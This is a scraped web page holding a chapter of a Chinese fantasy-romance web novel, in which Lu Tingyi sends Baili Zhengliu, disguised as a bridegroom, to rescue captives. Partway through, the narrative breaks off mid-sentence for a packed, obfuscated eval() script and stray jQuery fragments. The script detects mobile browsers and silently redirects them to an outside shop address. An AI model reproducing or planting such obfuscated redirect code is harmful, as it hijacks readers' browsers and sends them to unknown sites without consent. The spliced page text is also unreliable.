文趣网 > 其他小说 > 死对头又在热演 > 29. 假扮新郎
    “临冬,把他的眼睛也蒙上吧。”

    丝线把唐寻章的脸也缠得密不透风,方才倒在地上时,他手中的喜服掉在地上。

    陆停漪将喜服捡起,给唐临冬使了眼色,快步走到百里争流身边,敲了敲刀柄,又往一旁指了指。

    两人一前一后走着,陆停漪用眼睛丈量了距离后,才轻声开口:“我有话和你说,唐寻章有问题。”

    她把先前的占卜结果说了出来,百里争流听后,颔首道:“果然不出我所料。”

    “你又懂了?”她不服气,“是不是在马后炮?”

    “抱歉,我虽然不懂什么占卜,但长了脑子。”他微抬下巴,“方才我仔细问了临冬,在崖上时,唐寻章曾说了一句,‘你们来了就好’。那时他只见过临冬,怎么知道来人不止一个?”

    “好吧。”陆停漪撇嘴:“算你聪明。”

    被他一打岔,她的胸口也没那么堵了,看了看另一头的唐临冬,她说道:“关心则乱,我觉得我们得尽快想办法救出云娘和秋宝。”

    百里争流点头,看向她手中的喜服,眼神有些微妙:“陆停漪,你该不会……”

    “嘻嘻。”她把喜服塞进他手里,“就委屈世子殿下做一回新郎官……你跟着她们走,连找人的功夫都省了。”

    他的脸色阴了又晴,晴了又阴,不知想到什么,看了看她,忽然轻笑一声:“也罢,还能做回新郎官。”

    陆停漪也看着他:“首尾虫……”

    “唐寻章……”

    两人一同开了口,百里争流退了一步:“你先说。”

    “你要小心,唐寻章为了博取我们的信任,对首尾虫的事应该没撒谎。”她咬着指甲,“这首尾虫肯定是赵墨给双头兽的咒术……不过迎叔的逆土咒,是用手触碰到地面才起效,我猜想这虫子也需要达成某种条件,才能驱使他人。总之,你一个人要多加小心。”

    百里争流点头,朝唐寻章看了一眼,又深深看着她,从袖中掏出什么。

    “给。遇到危险就吹,我会第一时间赶回来。”

    宽大的掌心中,是一枚小小的鸣镝。

    他说话时,祭台上又多了根燃了一半的红烛。

    “有临冬在我身边,怕什么呢?而且我有巫祝之力。”

    还有很多红烛呢,她在心里补充。

    嘴上这么说着,两根手指却轻巧地去捞他手中的鸣镝,指尖贴着他掌上的薄茧划过时,耳边莫名回响起他曾经的话。

    “陆停漪失去了巫祝之力,对我来说她是无用之人。”

    两根手指捏着鸣镝,她愣在原地。

    “你怎么了?”百里争流顿了顿,又问道,“是不是哪里不舒服?”

    大概是回忆中那个略带沙哑的少年音太过冷冽,衬得此刻的他有几分关切的意味。

    “没什么。”她收回手。

    也许是巫祝之力日渐恢复后,她的底气越发充足了。

    陆停漪这才意识到,过去只是自己嘴硬罢了,少年百里争流那句话,一直是她的心结。

    “争流。”她扬了扬手中的鸣镝,“你好像在关心我……是不是因为我成了对你有用的巫祝?”

    这句话很自然流淌了出来,就像她已经在心里问了很多遍。

    祭台上的红烛烧完了,攥着鸣镝的手心微微出汗,她没有后悔,只是平静地看着百里争流。

    百里争流被她清凌的目光逼得移开视线,脑海中的线全断了,无数的念头乱飞,没有一个能做合适的借口。

    因为,在给陆停漪鸣镝时,他想到的是她苍白的唇色,是她有些虚弱的步伐,是放在他伤口上的温度,完全没想到什么巫祝不巫祝的。

    但他分明是因为巫祝不能有闪失,才答应和陆停漪同行的……

    找不出借口的他,只能胡乱撒了谎:“是。”

    陆停漪咬着下唇,天边那片厚厚的云,压得她抬不起头。

    她看向祭台,上面空无一物。

    百里争流说的不是真心话。他撒谎了。

    “哈。”她肩上松快,轻飘飘得要飞起来一样。

    “陆停漪,你那时听到了我和齐圆的话吗?”

    再听百里争流的话,哪哪都很奇怪,刻意加快的语速,莫名的卡顿,到处都透着一股心虚。

    她耸耸肩,对着他眨了眨眼睛:“我又不是有意偷听的,是不小心路过听到的,我们一起长大,你该不会那么小气吧?”

    “我不是这个意思。”百里争流揉着眉心,余光瞥见她嘴角那抹淡淡的笑意。

    很刺眼。

    她是无所谓的,对于他只看重巫祝身份,她是无所谓的。

    在他意识到自己不该为此不悦时,他已经极为不悦了。

    “好啦。”陆停漪推了推他手中的喜服,“别耽误了,我和临冬就留在这里等你。”

    她是很想继续打探百里争流为什么总说谎,但眼下不是好时机,反正先机掌握在她手里,以后有的是机会慢慢和他过招。

    想到这里,陆停漪脸上的笑意更浓了,又催促了一声:“快把喜服换上。”

    百里争流幽幽看着她,嫌弃地捏起喜服,套在了黑衣外面,他比唐寻章高大,袖子短了一截,衣襟也对不上,只能半敞着。

    她挠挠头:“也不知道你这不伦不类的新郎官,能不能把人骗过去。”

    百里争流瞥了她,没说话,朝那几个妇人走去。

    才一靠近,那五双无神的眼睛就直勾勾转了过来。

    “新郎、是新郎,我们找到新郎了。”

    几人不由分说上前,将百里争流团团围住。

    他夹在中间,很是局促:“好好说话,别碰我……我跟你们走就是。”

    他的话显然没起什么作用,最后还是被推搡着走远了。

    陆停漪知道他好洁又不爱被人触碰,这一路肯定要受罪了。

    她也走了回去,唐临冬拍了拍脑袋:“真有你们的,争流假扮成新郎,就能见到云娘和秋宝了。”

    陆停漪从那双圆润的杏眼里,看出了她很想跟着一起去。

    正要开口时,唐临冬却瞪了唐寻章一眼:“罢了,还得看着这货。”

    地上的人除了露出一双鼻孔吸气外,眼耳口都蒙得死死的,陆停漪还是不放心,指了指一旁,两人挪到了稍远的地方。

    “没必要那么小心。听说唐寻章小时高烧不退,从那以后就有些耳背。”

    “你很了解他吗?”

    唐临冬撇嘴:“我也不想了解他,但秋宝总在信里提他,每封信上都有他,真是倒胃口……对了,你说他会不会是双头兽?你要不再用占卜确认一下?”

    “我本来也这么想,但比起唐寻章,我更怀疑他的父亲唐岁荣……”她轻呼出一口气。

    如果用占卜问“唐寻章是否为双头兽”,万一得到的是“否”,也不能全然反推出双头兽一定是唐岁荣,她根本没见过唐岁荣,也无法再次

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17767212|209757||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    用占卜的“是否”进一步确认。

    此外,最让她束手束脚的还是气血的限制,要是她能随心所欲多好,哪怕浪费一次占卜又有什么大不了的。

    她的苦衷也不好和唐临冬说,只能敷衍了过去:“还有,不管是谁,找不到执念,哪怕双头兽就在眼前,也分辨不出来。既然你很了解唐寻章,如果他是双头兽,我们只要弄清了他的执念,就能立刻辨别了。”

    “他的执念……”唐临冬沉默片刻,摇了摇头,“我想不到,秋宝的信中……只要提到唐寻章,全是变着花样的夸赞。不过……他爹唐岁荣的执念,我倒是知道。”

    她连忙问:“是什么?”

    “就是他咯。”唐临冬指着唐寻章,翻了个大大的白眼,“就是为了保护他自己的儿子,才把我送到江东王府,害我们一家分离……”

    “临冬。”她顿了顿,“我一直很想问,你既然那么思念云娘和秋宝,这些年为什么都不回来看看?”

    “我当然想回来。不过……当前我离开的时候,唐岁荣话里话外的意思,都是拿云娘她们的安危威胁我,让我无事不得返乡。”

    “等等……”

    一条线慢慢串了起来。

    陆停漪捋了捋思绪,后背渗出冷汗:“这也就是说,自从你离开后,唐领实际上就被唐岁荣封锁了,对吗?”

    “没有兽灾呈报,那么我和狩猎队就都不会过来……”唐临冬呆住了,“唐领就完全是唐岁荣做主了!”

    “不,是全由赵……覆面人做主。”

    胸口塞满了冰碴子,她连呼出的气都是冷的。

    早在很多年前,赵墨就豢养双头兽为他做事了,他们封锁领地究竟想做什么呢?

    那几名妇人腕上箍得死死的首尾虫,五月带着哭腔的声音“他们围在桌前,就那么站着”……依次从脑海中飞过。

    陆停漪才觉得自己已经掌握了一切,转眼间又是迷雾重重。这种敌人领先太多,自己奋起直追仍然追不上的感觉,实在糟糕。

    “没关系,争流已经去救人了。”她强打着精神,安慰道,“云娘和秋宝一定会没事的。”

    唐临冬那双圆润的杏眼看过来,忽然“噗嗤”笑了出来:“好。陆停漪,云娘一定会很喜欢你的。”

    “为什么?”她好奇。

    “因为你们都是烂好人。”唐临冬敛住了笑容,“她自己都快活不下去了,还要捡人家不要的孩子,除了我是好手好脚的,秋宝是个病秧子,我们还有个哥哥,叫夏宝,他少了条腿……有天外出找吃的,摔伤了……伤口怎么也好不了,然后他……”

    这些经历,哪怕是她们关系最好时,唐临冬也未曾说过。

    说这些时,她脸上没有表情,但陆停漪感到了浓重的悲伤。

    她没忍心打扰,两人一起停留了一会,直到下一阵风吹过。

    迫近黄昏,天又暗了几分,她们谁也没说话,走回唐寻章身边。

    唐寻章眼前漆黑,偶尔有几个字漏进耳朵。

    首尾虫从伤口进入,再游到手腕处,虫身喝饱血会变成红色,大概需要两炷香。

    他在心里默默计数,大概猜到了他们是想借着这几个妇人去救人。

    但云娘和秋宝的样子,一定会超出他们的想象的。

    唐领发生的一切,会比他们预想中最糟糕的状况,还要残忍。陆停漪他们不可能救出任何人。

    丝线下,唐寻章勾起了嘴角,又很快压下。